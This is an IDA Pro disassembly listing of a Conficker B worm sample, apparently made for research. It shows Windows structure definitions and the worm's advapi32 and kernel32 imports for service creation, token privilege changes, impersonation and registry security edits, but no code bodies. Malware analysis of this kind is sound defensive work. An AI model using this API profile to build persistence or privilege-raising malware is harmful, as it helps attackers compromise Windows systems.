; ---------------------------------------------------------------------------
_WIN32_FIND_DATAA struc ; (sizeof=0x140, standard type)
dwFileAttributes dd ?
ftCreationTime FILETIME ?
ftLastAccessTime FILETIME ?
ftLastWriteTime FILETIME ?
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved0 dd ?
dwReserved1 dd ?
cFileName db 260 dup(?)
cAlternateFileName db 14 dup(?)
_padding db 2 dup(?)
_WIN32_FIND_DATAA ends
; ---------------------------------------------------------------------------
in_addr::$C88FC62040169D5EE3E5BDA2C03A058C::$B9D7529FFD1842B2B059BD2E926FB2C5 struc ; (sizeof=0x4, standard type)
s_w1 dw ?
s_w2 dw ?
in_addr::$C88FC62040169D5EE3E5BDA2C03A058C::$B9D7529FFD1842B2B059BD2E926FB2C5 ends
; ---------------------------------------------------------------------------
in_addr::$C88FC62040169D5EE3E5BDA2C03A058C::$F085A1F6735C7CEA9C650424FAF692B1 struc ; (sizeof=0x4, standard type)
s_b1 db ?
s_b2 db ?
s_b3 db ?
s_b4 db ?
in_addr::$C88FC62040169D5EE3E5BDA2C03A058C::$F085A1F6735C7CEA9C650424FAF692B1 ends
; ---------------------------------------------------------------------------
in_addr::$C88FC62040169D5EE3E5BDA2C03A058C union ; (sizeof=0x4, standard type)
S_un_b in_addr::$C88FC62040169D5EE3E5BDA2C03A058C::$F085A1F6735C7CEA9C650424FAF692B1 ?
S_un_w in_addr::$C88FC62040169D5EE3E5BDA2C03A058C::$B9D7529FFD1842B2B059BD2E926FB2C5 ?
S_addr dd ?
in_addr::$C88FC62040169D5EE3E5BDA2C03A058C ends
; ---------------------------------------------------------------------------
in_addr struc ; (sizeof=0x4, standard type)
S_un in_addr::$C88FC62040169D5EE3E5BDA2C03A058C ?
in_addr ends
; ---------------------------------------------------------------------------
_MIDL_STUB_DESC::$5BCB627D3738D8B5DEACC268C24AE672 union ; (sizeof=0x4, standard type)
pAutoHandle dd ? ; offset
pPrimitiveHandle dd ? ; offset
pGenericBindingInfo dd ? ; offset
_MIDL_STUB_DESC::$5BCB627D3738D8B5DEACC268C24AE672 ends
; ---------------------------------------------------------------------------
MIDL_STUB_DESC struc ; (sizeof=0x50, standard type)
RpcInterfaceInformation dd ? ; offset
pfnAllocate dd ? ; offset
pfnFree dd ? ; offset
IMPLICIT_HANDLE_INFO _MIDL_STUB_DESC::$5BCB627D3738D8B5DEACC268C24AE672 ?
apfnNdrRundownRoutines dd ? ; offset
aGenericBindingRoutinePairs dd ? ; offset
apfnExprEval dd ? ; offset
aXmitQuintuple dd ? ; offset
pFormatTypes dd ? ; offset
fCheckBounds dd ?
Version dd ?
pMallocFreeStruct dd ? ; offset
MIDLVersion dd ?
CommFaultOffsets dd ? ; offset
aUserMarshalQuadruple dd ? ; offset
NotifyRoutineTable dd ? ; offset
mFlags dd ?
CsRoutineTables dd ? ; offset
ProxyServerInfo dd ? ; offset
pExprInfo dd ? ; offset
MIDL_STUB_DESC ends
; ---------------------------------------------------------------------------
sockaddr struc ; (sizeof=0x10, standard type)
sa_family dw ?
sa_data db 14 dup(?)
sockaddr ends
; ---------------------------------------------------------------------------
_QUERY_SERVICE_CONFIGW struc ; (sizeof=0x24, standard type)
dwServiceType dd ?
dwStartType dd ?
dwErrorControl dd ?
lpBinaryPathName dd ? ; offset
lpLoadOrderGroup dd ? ; offset
dwTagId dd ?
lpDependencies dd ? ; offset
lpServiceStartName dd ? ; offset
lpDisplayName dd ? ; offset
_QUERY_SERVICE_CONFIGW ends
; ---------------------------------------------------------------------------
tagLASTINPUTINFO struc ; (sizeof=0x8, standard type)
cbSize dd ?
dwTime dd ?
tagLASTINPUTINFO ends
; ---------------------------------------------------------------------------
_PROCESS_INFORMATION struc ; (sizeof=0x10, standard type)
hProcess dd ? ; offset
hThread dd ? ; offset
dwProcessId dd ?
dwThreadId dd ?
_PROCESS_INFORMATION ends
; ---------------------------------------------------------------------------
_STARTUPINFOA struc ; (sizeof=0x44, standard type)
cb dd ?
lpReserved dd ? ; offset
lpDesktop dd ? ; offset
lpTitle dd ? ; offset
dwX dd ?
dwY dd ?
dwXSize dd ?
dwYSize dd ?
dwXCountChars dd ?
dwYCountChars dd ?
dwFillAttribute dd ?
dwFlags dd ?
wShowWindow dw ?
cbReserved2 dw ?
lpReserved2 dd ? ; offset
hStdInput dd ? ; offset
hStdOutput dd ? ; offset
hStdError dd ? ; offset
_STARTUPINFOA ends
; ---------------------------------------------------------------------------
THREADENTRY32 struc ; (sizeof=0x1C, standard type)
dwSize dd ?
cntUsage dd ?
th32ThreadID dd ?
th32OwnerProcessID dd ?
tpBasePri dd ?
tpDeltaPri dd ?
dwFlags dd ?
THREADENTRY32 ends
; ---------------------------------------------------------------------------
PROCESSENTRY32 struc ; (sizeof=0x128, standard type)
dwSize dd ?
cntUsage dd ?
th32ProcessID dd ?
th32DefaultHeapID dd ?
th32ModuleID dd ?
cntThreads dd ?
th32ParentProcessID dd ?
pcPriClassBase dd ?
dwFlags dd ?
szExeFile db 260 dup(?)
PROCESSENTRY32 ends
; ---------------------------------------------------------------------------
timeval struc ; (sizeof=0x8, standard type)
tv_sec dd ?
tv_usec dd ?
timeval ends
; ---------------------------------------------------------------------------
fd_set struc ; (sizeof=0x104, standard type)
fd_count dd ?
fd_array dd 64 dup(?)
fd_set ends
; ---------------------------------------------------------------------------
_FILETIME struc ; (sizeof=0x8, standard type)
dwLowDateTime dd ?
dwHighDateTime dd ?
_FILETIME ends
; ---------------------------------------------------------------------------
LUID struc ; (sizeof=0x8, standard type)
LowPart dd ?
HighPart dd ?
LUID ends
; ---------------------------------------------------------------------------
LUID_AND_ATTRIBUTES struc ; (sizeof=0xC, standard type)
Luid LUID ?
Attributes dd ?
LUID_AND_ATTRIBUTES ends
; ---------------------------------------------------------------------------
_TOKEN_PRIVILEGES struc ; (sizeof=0x10, standard type)
PrivilegeCount dd ?
Privileges LUID_AND_ATTRIBUTES ?
_TOKEN_PRIVILEGES ends
; ---------------------------------------------------------------------------
_LUID struc ; (sizeof=0x8, standard type)
LowPart dd ?
HighPart dd ?
_LUID ends
; ---------------------------------------------------------------------------
_LARGE_INTEGER::$837407842DC9087486FDFA5FEB63B74E struc ; (sizeof=0x8, standard type)
LowPart dd ?
HighPart dd ?
_LARGE_INTEGER::$837407842DC9087486FDFA5FEB63B74E ends
; ---------------------------------------------------------------------------
LARGE_INTEGER union ; (sizeof=0x8, standard type)
anonymous_0 _LARGE_INTEGER::$837407842DC9087486FDFA5FEB63B74E ?
u _LARGE_INTEGER::$837407842DC9087486FDFA5FEB63B74E ?
QuadPart dq ?
LARGE_INTEGER ends
; ---------------------------------------------------------------------------
POINT struc ; (sizeof=0x8, standard type)
x dd ?
y dd ?
POINT ends
; ---------------------------------------------------------------------------
MSG struc ; (sizeof=0x1C, standard type)
hwnd dd ? ; offset
message dd ?
wParam dd ?
lParam dd ?
time dd ?
pt POINT ?
MSG ends
; ---------------------------------------------------------------------------
IID struc ; (sizeof=0x10, standard type)
Data1 dd ?
Data2 dw ?
Data3 dw ?
Data4 db 8 dup(?)
IID ends
; ---------------------------------------------------------------------------
tagDEC::$4F4A858EF92DB102A98F119D95FB1FDC::$674876891A86A76F12C10005982BCA56 struc ; (sizeof=0x8, standard type)
Lo32 dd ?
Mid32 dd ?
tagDEC::$4F4A858EF92DB102A98F119D95FB1FDC::$674876891A86A76F12C10005982BCA56 ends
; ---------------------------------------------------------------------------
tagDEC::$4F4A858EF92DB102A98F119D95FB1FDC union ; (sizeof=0x8, standard type)
anonymous_0 tagDEC::$4F4A858EF92DB102A98F119D95FB1FDC::$674876891A86A76F12C10005982BCA56 ?
Lo64 dq ?
tagDEC::$4F4A858EF92DB102A98F119D95FB1FDC ends
; ---------------------------------------------------------------------------
tagDEC::$B7BB294B9CFFB3110AEF9F2255F0D37C::$7F8459940C2B08BD5D82B0F27239141B struc ; (sizeof=0x2, standard type)
scale db ?
sign db ?
tagDEC::$B7BB294B9CFFB3110AEF9F2255F0D37C::$7F8459940C2B08BD5D82B0F27239141B ends
; ---------------------------------------------------------------------------
tagDEC::$B7BB294B9CFFB3110AEF9F2255F0D37C union ; (sizeof=0x2, standard type)
anonymous_0 tagDEC::$B7BB294B9CFFB3110AEF9F2255F0D37C::$7F8459940C2B08BD5D82B0F27239141B ?
signscale dw ?
tagDEC::$B7BB294B9CFFB3110AEF9F2255F0D37C ends
; ---------------------------------------------------------------------------
DECIMAL struc ; (sizeof=0x10, standard type)
wReserved dw ?
anonymous_0 tagDEC::$B7BB294B9CFFB3110AEF9F2255F0D37C ?
Hi32 dd ?
anonymous_1 tagDEC::$4F4A858EF92DB102A98F119D95FB1FDC ?
DECIMAL ends
; ---------------------------------------------------------------------------
tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF::$1033A5F6F8F25C9C3389DB0C83C35F62::$B0D3970BD9C14DE56D9FF8B0685C9EC0::$0FDBD249F1AECD6A49409B6B82281578 struc ; (sizeof=0x8, standard type)
pvRecord dd ? ; offset
pRecInfo dd ? ; offset
tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF::$1033A5F6F8F25C9C3389DB0C83C35F62::$B0D3970BD9C14DE56D9FF8B0685C9EC0::$0FDBD249F1AECD6A49409B6B82281578 ends
; ---------------------------------------------------------------------------
tagCY::$4ADA6AE34E722E24764E0C4FBCDA3E73 struc ; (sizeof=0x8, standard type)
Lo dd ?
Hi dd ?
tagCY::$4ADA6AE34E722E24764E0C4FBCDA3E73 ends
; ---------------------------------------------------------------------------
CY union ; (sizeof=0x8, standard type)
anonymous_0 tagCY::$4ADA6AE34E722E24764E0C4FBCDA3E73 ?
int64 dq ?
CY ends
; ---------------------------------------------------------------------------
tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF::$1033A5F6F8F25C9C3389DB0C83C35F62::$B0D3970BD9C14DE56D9FF8B0685C9EC0 union ; (sizeof=0x8, standard type)
llVal dq ?
lVal dd ?
bVal db ?
iVal dw ?
fltVal dd ?
dblVal dq ?
boolVal dw ?
scode dd ?
cyVal CY ?
date dq ?
bstrVal dd ? ; offset
punkVal dd ? ; offset
pdispVal dd ? ; offset
parray dd ? ; offset
pbVal dd ? ; offset
piVal dd ? ; offset
plVal dd ? ; offset
pllVal dd ? ; offset
pfltVal dd ? ; offset
pdblVal dd ? ; offset
pboolVal dd ? ; offset
pscode dd ? ; offset
pcyVal dd ? ; offset
pdate dd ? ; offset
pbstrVal dd ? ; offset
ppunkVal dd ? ; offset
ppdispVal dd ? ; offset
pparray dd ? ; offset
pvarVal dd ? ; offset
byref dd ? ; offset
cVal db ?
uiVal dw ?
ulVal dd ?
ullVal dq ?
intVal dd ?
uintVal dd ?
pdecVal dd ? ; offset
pcVal dd ? ; offset
puiVal dd ? ; offset
pulVal dd ? ; offset
pullVal dd ? ; offset
pintVal dd ? ; offset
puintVal dd ? ; offset
anonymous_0 tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF::$1033A5F6F8F25C9C3389DB0C83C35F62::$B0D3970BD9C14DE56D9FF8B0685C9EC0::$0FDBD249F1AECD6A49409B6B82281578 ?
tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF::$1033A5F6F8F25C9C3389DB0C83C35F62::$B0D3970BD9C14DE56D9FF8B0685C9EC0 ends
; ---------------------------------------------------------------------------
tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF::$1033A5F6F8F25C9C3389DB0C83C35F62 struc ; (sizeof=0x10, standard type)
vt dw ?
wReserved1 dw ?
wReserved2 dw ?
wReserved3 dw ?
anonymous_0 tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF::$1033A5F6F8F25C9C3389DB0C83C35F62::$B0D3970BD9C14DE56D9FF8B0685C9EC0 ?
tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF::$1033A5F6F8F25C9C3389DB0C83C35F62 ends
; ---------------------------------------------------------------------------
tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF union ; (sizeof=0x10, standard type)
anonymous_0 tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF::$1033A5F6F8F25C9C3389DB0C83C35F62 ?
decVal DECIMAL ?
tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF ends
; ---------------------------------------------------------------------------
VARIANTARG struc ; (sizeof=0x10, standard type)
anonymous_0 tagVARIANT::$6012875A659CB552968B6FC1CCACD1FF ?
VARIANTARG ends
; ---------------------------------------------------------------------------
_SYSTEMTIME struc ; (sizeof=0x10, standard type)
wYear dw ?
wMonth dw ?
wDayOfWeek dw ?
wDay dw ?
wHour dw ?
wMinute dw ?
wSecond dw ?
wMilliseconds dw ?
_SYSTEMTIME ends
; ---------------------------------------------------------------------------
FILETIME struc ; (sizeof=0x8, standard type)
dwLowDateTime dd ?
dwHighDateTime dd ?
FILETIME ends
; ---------------------------------------------------------------------------
_WIN32_FIND_DATAW struc ; (sizeof=0x250, standard type)
dwFileAttributes dd ?
ftCreationTime FILETIME ?
ftLastAccessTime FILETIME ?
ftLastWriteTime FILETIME ?
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved0 dd ?
dwReserved1 dd ?
cFileName dw 260 dup(?)
cAlternateFileName dw 14 dup(?)
_WIN32_FIND_DATAW ends
; ---------------------------------------------------------------------------
_SERVICE_STATUS struc ; (sizeof=0x1C, standard type)
dwServiceType dd ?
dwCurrentState dd ?
dwControlsAccepted dd ?
dwWin32ExitCode dd ?
dwServiceSpecificExitCode dd ?
dwCheckPoint dd ?
dwWaitHint dd ?
_SERVICE_STATUS ends
; ---------------------------------------------------------------------------
WSAData struc ; (sizeof=0x190, standard type)
wVersion dw ?
wHighVersion dw ?
szDescription db 257 dup(?)
szSystemStatus db 129 dup(?)
iMaxSockets dw ?
iMaxUdpDg dw ?
db ? ; undefined
db ? ; undefined
lpVendorInfo dd ? ; offset
WSAData ends
; ---------------------------------------------------------------------------
_OSVERSIONINFOA struc ; (sizeof=0x94, standard type)
dwOSVersionInfoSize dd ?
dwMajorVersion dd ?
dwMinorVersion dd ?
dwBuildNumber dd ?
dwPlatformId dd ?
szCSDVersion db 128 dup(?)
_OSVERSIONINFOA ends
; ---------------------------------------------------------------------------
_SID_IDENTIFIER_AUTHORITY struc ; (sizeof=0x6, standard type)
Value db 6 dup(?)
_SID_IDENTIFIER_AUTHORITY ends
; ---------------------------------------------------------------------------
CPPEH_RECORD struc ; (sizeof=0x18, standard type)
old_esp dd ?
exc_ptr dd ? ; offset
prev_er dd ? ; offset
handler dd ? ; offset
msEH_ptr dd ? ; offset
disabled dd ?
CPPEH_RECORD ends
; ---------------------------------------------------------------------------
_msEH struc ; (sizeof=0xC)
_unk dd ? ; base 16
FilterProc dd ? ; offset
ExitProc dd ? ; offset
_msEH ends
;
; +-------------------------------------------------------------------------+
; | This file has been generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2009 by Hex-Rays, <support@hex-rays.com> |
; | License info: 48-303F-7194-02 |
; | Hassen Saidi - SRI International |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 6B80CEC090E436D336F7038C73BB4624
; File Name : C:\Documents and Settings\Michael Hogsett\Desktop\idata_conficker_B.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 9A0000
; Section 1. (virtual address 00001000)
; Virtual size : 00000428 ( 1064.)
; Section size in file : 00000424 ( 1060.)
; Offset to raw data for section: 00000200
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
;
; Imports from advapi32.dll
;
; OS type : MS Windows
; Application type: DLL 32bit
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Externs
; _idata
; LSTATUS __stdcall RegOpenKeyExW(HKEY hKey, LPCWSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult)
extrn RegOpenKeyExW:dword ; CODE XREF: sub_9AD363+3Cp
; sub_9AD3ED+36p
; DATA XREF: ...
; LSTATUS __stdcall RegSetKeySecurity(HKEY hKey, SECURITY_INFORMATION SecurityInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor)
extrn RegSetKeySecurity:dword ; CODE XREF: sub_9AD271+A7p
; DATA XREF: sub_9AD271+A7r
; SC_HANDLE __stdcall OpenSCManagerW(LPCWSTR lpMachineName, LPCWSTR lpDatabaseName, DWORD dwDesiredAccess)
extrn OpenSCManagerW:dword ; CODE XREF: sub_9AD062+3Ep
; DATA XREF: sub_9AD062+3Er
; BOOL __stdcall EnumServicesStatusW(SC_HANDLE hSCManager, DWORD dwServiceType, DWORD dwServiceState, LPENUM_SERVICE_STATUSW lpServices, DWORD cbBufSize, LPDWORD pcbBytesNeeded, LPDWORD lpServicesReturned, LPDWORD lpResumeHandle)
extrn EnumServicesStatusW:dword ; CODE XREF: sub_9AD062+7Ap
; DATA XREF: sub_9AD062+7Ar
; SC_HANDLE __stdcall OpenServiceW(SC_HANDLE hSCManager, LPCWSTR lpServiceName, DWORD dwDesiredAccess)
extrn OpenServiceW:dword ; CODE XREF: sub_9AD062+FDp
; DATA XREF: sub_9AD062+FDr
; BOOL __stdcall QueryServiceConfigW(SC_HANDLE hService, LPQUERY_SERVICE_CONFIGW lpServiceConfig, DWORD cbBufSize, LPDWORD pcbBytesNeeded)
extrn QueryServiceConfigW:dword ; CODE XREF: sub_9AD062+11Dp
; DATA XREF: sub_9AD062+11Dr
; BOOL __stdcall QueryServiceConfig2W(SC_HANDLE hService, DWORD dwInfoLevel, LPBYTE lpBuffer, DWORD cbBufSize, LPDWORD pcbBytesNeeded)
extrn QueryServiceConfig2W:dword ; CODE XREF: sub_9AD062+143p
; DATA XREF: sub_9AD062+143r
; BOOL __stdcall ImpersonateLoggedOnUser(HANDLE hToken)
extrn ImpersonateLoggedOnUser:dword ; CODE XREF: sub_9AC33A+45p
; DATA XREF: sub_9AC33A+45r
; BOOL __stdcall InitializeSecurityDescriptor(PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision)
extrn InitializeSecurityDescriptor:dword ; CODE XREF: sub_9AC163+4Ep
; sub_9AD271+8Ap
; DATA XREF: ...
; DWORD __stdcall GetLengthSid(PSID pSid)
extrn GetLengthSid:dword ; CODE XREF: sub_9AC163+6Fp
; sub_9AD271+49p
; DATA XREF: ...
; BOOL __stdcall InitializeAcl(PACL pAcl, DWORD nAclLength, DWORD dwAclRevision)
extrn InitializeAcl:dword ; CODE XREF: sub_9AC163+9Ap
; sub_9AD271+6Dp
; DATA XREF: ...
; BOOL __stdcall AddAccessAllowedAce(PACL pAcl, DWORD dwAceRevision, DWORD AccessMask, PSID pSid)
extrn AddAccessAllowedAce:dword ; CODE XREF: sub_9AC163+A9p
; sub_9AD271+7Ep
; DATA XREF: ...
; BOOL __stdcall SetSecurityDescriptorDacl(PSECURITY_DESCRIPTOR pSecurityDescriptor, BOOL bDaclPresent, PACL pDacl, BOOL bDaclDefaulted)
extrn SetSecurityDescriptorDacl:dword ; CODE XREF: sub_9AC163+B9p
; sub_9AD271+98p
; DATA XREF: ...
; BOOL __stdcall SetFileSecurityA(LPCSTR lpFileName, SECURITY_INFORMATION SecurityInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor)
extrn SetFileSecurityA:dword ; CODE XREF: sub_9AC163+C8p
; DATA XREF: sub_9AC163+C8r
; LSTATUS __stdcall RegQueryValueExA(HKEY hKey, LPCSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData)
extrn RegQueryValueExA:dword ; CODE XREF: sub_9AC0AE+32p
; DATA XREF: sub_9AC0AE+32r
; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult)
extrn RegOpenKeyExA:dword ; CODE XREF: sub_9AC064+17p
; sub_9AC0AE+19p
; DATA XREF: ...
; LSTATUS __stdcall RegSetValueExA(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE *lpData, DWORD cbData)
extrn RegSetValueExA:dword ; CODE XREF: sub_9AC064+31p
; sub_9AD71D+1CBp
; DATA XREF: ...
; LSTATUS __stdcall RegCloseKey(HKEY hKey)
extrn RegCloseKey:dword ; CODE XREF: sub_9AC064+3Fp
; sub_9AC0AE+40p ...
; BOOL __stdcall LookupPrivilegeValueA(LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid)
extrn LookupPrivilegeValueA:dword ; CODE XREF: sub_9AB5DC+3Cp
; DATA XREF: sub_9AB5DC+3Cr
; BOOL __stdcall AdjustTokenPrivileges(HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength)
extrn AdjustTokenPrivileges:dword ; CODE XREF: sub_9AB5DC+52p
; DATA XREF: sub_9AB5DC+52r
; BOOL __stdcall ChangeServiceConfigA(SC_HANDLE hService, DWORD dwServiceType, DWORD dwStartType, DWORD dwErrorControl, LPCSTR lpBinaryPathName, LPCSTR lpLoadOrderGroup, LPDWORD lpdwTagId, LPCSTR lpDependencies, LPCSTR lpServiceStartName, LPCSTR lpPassword, LPCSTR lpDisplayName)
extrn ChangeServiceConfigA:dword ; CODE XREF: sub_9AB558+69p
; DATA XREF: sub_9AB558+69r
; BOOL __stdcall RevertToSelf()
extrn RevertToSelf:dword ; CODE XREF: sub_9A89BC+1Fp
; DATA XREF: sub_9A89BC+1Fr
; SC_HANDLE __stdcall CreateServiceA(SC_HANDLE hSCManager, LPCSTR lpServiceName, LPCSTR lpDisplayName, DWORD dwDesiredAccess, DWORD dwServiceType, DWORD dwStartType, DWORD dwErrorControl, LPCSTR lpBinaryPathName, LPCSTR lpLoadOrderGroup, LPDWORD lpdwTagId, LPCSTR lpDependencies, LPCSTR lpServiceStartName, LPCSTR lpPassword)
extrn CreateServiceA:dword ; CODE XREF: sub_9A7F48+3Ap
; DATA XREF: sub_9A7F48+3Ar
; BOOL __stdcall StartServiceA(SC_HANDLE hService, DWORD dwNumServiceArgs, LPCSTR *lpServiceArgVectors)
extrn StartServiceA:dword ; CODE XREF: sub_9A7F48+4Fp
; DATA XREF: sub_9A7F48+4Fr
; SC_HANDLE __stdcall OpenSCManagerA(LPCSTR lpMachineName, LPCSTR lpDatabaseName, DWORD dwDesiredAccess)
extrn OpenSCManagerA:dword ; CODE XREF: sub_9A7EE7+14p
; sub_9A7F48+Ep ...
; SC_HANDLE __stdcall OpenServiceA(SC_HANDLE hSCManager, LPCSTR lpServiceName, DWORD dwDesiredAccess)
extrn OpenServiceA:dword ; CODE XREF: sub_9A7EE7+2Ap
; sub_9AB558+2Ap
; DATA XREF: ...
; BOOL __stdcall CloseServiceHandle(SC_HANDLE hSCObject)
extrn CloseServiceHandle:dword ; CODE XREF: sub_9A7EE7+54p
; sub_9A7EE7+57p ...
; BOOL __stdcall ControlService(SC_HANDLE hService, DWORD dwControl, LPSERVICE_STATUS lpServiceStatus)
extrn ControlService:dword ; CODE XREF: sub_9A7EE7+43p
; sub_9AB558+44p
; DATA XREF: ...
; BOOL __stdcall DeleteService(SC_HANDLE hService)
extrn DeleteService:dword ; CODE XREF: sub_9A7EE7+4Dp
; DATA XREF: sub_9A7EE7+4Dr
; BOOL __stdcall OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle)
extrn OpenProcessToken:dword ; CODE XREF: sub_9A72CA+19p
; sub_9AB5DC+16p ...
; BOOL __stdcall GetTokenInformation(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength)
extrn GetTokenInformation:dword ; CODE XREF: sub_9A72CA+39p
; sub_9A72CA+75p
; DATA XREF: ...
; BOOL __stdcall AllocateAndInitializeSid(PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority, BYTE nSubAuthorityCount, DWORD nSubAuthority0, DWORD nSubAuthority1, DWORD nSubAuthority2, DWORD nSubAuthority3, DWORD nSubAuthority4, DWORD nSubAuthority5, DWORD nSubAuthority6, DWORD nSubAuthority7, PSID *pSid)
extrn AllocateAndInitializeSid:dword ; CODE XREF: sub_9A72CA+B1p
; sub_9A72CA+C6p ...
; BOOL __stdcall EqualSid(PSID pSid1, PSID pSid2)
extrn EqualSid:dword ; CODE XREF: sub_9A72CA+E8p
; sub_9A72CA+F8p
; DATA XREF: ...
; PVOID __stdcall FreeSid(PSID pSid)
extrn FreeSid:dword ; CODE XREF: sub_9A72CA+122p
; sub_9A72CA+12Cp ...
; LSTATUS __stdcall RegEnumKeyExW(HKEY hKey, DWORD dwIndex, LPWSTR lpName, LPDWORD lpcchName, LPDWORD lpReserved, LPWSTR lpClass, LPDWORD lpcchClass, PFILETIME lpftLastWriteTime)
extrn RegEnumKeyExW:dword ; CODE XREF: sub_9AD363+77p
; DATA XREF: sub_9AD363+Br
; LSTATUS __stdcall RegSetValueExW(HKEY hKey, LPCWSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE *lpData, DWORD cbData)
extrn RegSetValueExW:dword ; CODE XREF: sub_9AD3ED+F8p
; sub_9AD50E+F2p ...
; LSTATUS __stdcall RegQueryValueExW(HKEY hKey, LPCWSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData)
extrn RegQueryValueExW:dword ; CODE XREF: sub_9AD3ED+6Bp
; sub_9AD3ED+B5p
; DATA XREF: ...
; LSTATUS __stdcall RegFlushKey(HKEY hKey)
extrn RegFlushKey:dword ; CODE XREF: sub_9AD50E+1DFp
; DATA XREF: sub_9AD50E+1DFr
; LSTATUS __stdcall RegCreateKeyExW(HKEY hKey, LPCWSTR lpSubKey, DWORD Reserved, LPWSTR lpClass, DWORD dwOptions, REGSAM samDesired, const LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition)
extrn RegCreateKeyExW:dword ; CODE XREF: sub_9AD50E+C5p
; sub_9AD50E+19Ep
; DATA XREF: ...
; LSTATUS __stdcall RegCreateKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD Reserved, LPSTR lpClass, DWORD dwOptions, REGSAM samDesired, const LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition)
extrn RegCreateKeyExA:dword ; CODE XREF: sub_9AD71D+1A2p
; DATA XREF: sub_9AD71D+1A2r
;
; Imports from kernel32.dll
;
extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwindr
; DWORD __stdcall WaitForMultipleObjects(DWORD nCount, const HANDLE *lpHandles, BOOL bWaitAll, DWORD dwMilliseconds)
extrn WaitForMultipleObjects:dword ; CODE XREF: sub_9ADD9B+190p
; DATA XREF: sub_9ADD9B+190r
; BOOL __stdcall SystemTimeToFileTime(const SYSTEMTIME *lpSystemTime, LPFILETIME lpFileTime)
extrn SystemTimeToFileTime:dword ; CODE XREF: sub_9ADB52+91p
; DATA XREF: sub_9ADB52+91r
; BOOL __stdcall FreeLibrary(HMODULE hLibModule)
extrn FreeLibrary:dword ; CODE XREF: sub_9AD00D+49p
; DATA XREF: sub_9AD00D+49r
; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA lpVersionInformation)
extrn GetVersionExA:dword ; CODE XREF: sub_9A7170+2Ap
; sub_9A7CD0+49p ...
; UINT __stdcall GetSystemDirectoryA(LPSTR lpBuffer, UINT uSize)
extrn GetSystemDirectoryA:dword ; CODE XREF: sub_9A722A+44p
; sub_9A7670+5Ep ...
; BOOL __stdcall CloseHandle(HANDLE hObject)
extrn CloseHandle:dword ; CODE XREF: sub_9A72CA+139p
; sub_9A799E+135p ...
; HGLOBAL __stdcall GlobalFree(HGLOBAL hMem)
extrn GlobalFree:dword ; CODE XREF: sub_9A72CA+12Fp
; sub_9A752A+ECp ...
; HGLOBAL __stdcall GlobalAlloc(UINT uFlags, SIZE_T dwBytes)
extrn GlobalAlloc:dword ; CODE XREF: sub_9A72CA+58p
; sub_9A9654+56p ...
; DWORD __stdcall GetLastError()
extrn GetLastError:dword ; CODE XREF: sub_9A72CA+43p
; sub_9A799E+F0p ...
; HANDLE __stdcall GetCurrentProcess()
extrn GetCurrentProcess:dword ; CODE XREF: sub_9A72CA+12p
; sub_9AB5DC+Fp
; DATA XREF: ...
; int __stdcall WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCSTR lpDefaultChar, LPBOOL lpUsedDefaultChar)
extrn WideCharToMultiByte:dword ; CODE XREF: sub_9A7410+50p
; sub_9A8326+42p ...
; DWORD __stdcall GetVersion()
extrn GetVersion:dword ; CODE XREF: sub_9A752A+127p
; StartAddress+41p ...
; BOOL __stdcall MoveFileExA(LPCSTR lpExistingFileName, LPCSTR lpNewFileName, DWORD dwFlags)
extrn MoveFileExA:dword ; CODE XREF: sub_9A752A+E3p
; sub_9A7670+31p ...
; BOOL __stdcall MoveFileA(LPCSTR lpExistingFileName, LPCSTR lpNewFileName)
extrn MoveFileA:dword ; CODE XREF: sub_9A752A+89p
; DATA XREF: sub_9A752A+89r
; DWORD __stdcall GetTempPathA(DWORD nBufferLength, LPSTR lpBuffer)
extrn GetTempPathA:dword ; CODE XREF: sub_9A7670+FDp
; sub_9A7FAE+70p ...
; void __stdcall Sleep(DWORD dwMilliseconds)
extrn Sleep:dword ; CODE XREF: sub_9A7670+49p
; StartAddress+36p ...
; BOOL __stdcall DeleteFileA(LPCSTR lpFileName)
extrn DeleteFileA:dword ; CODE XREF: sub_9A7670+3Ep
; sub_9A7FAE+119p ...
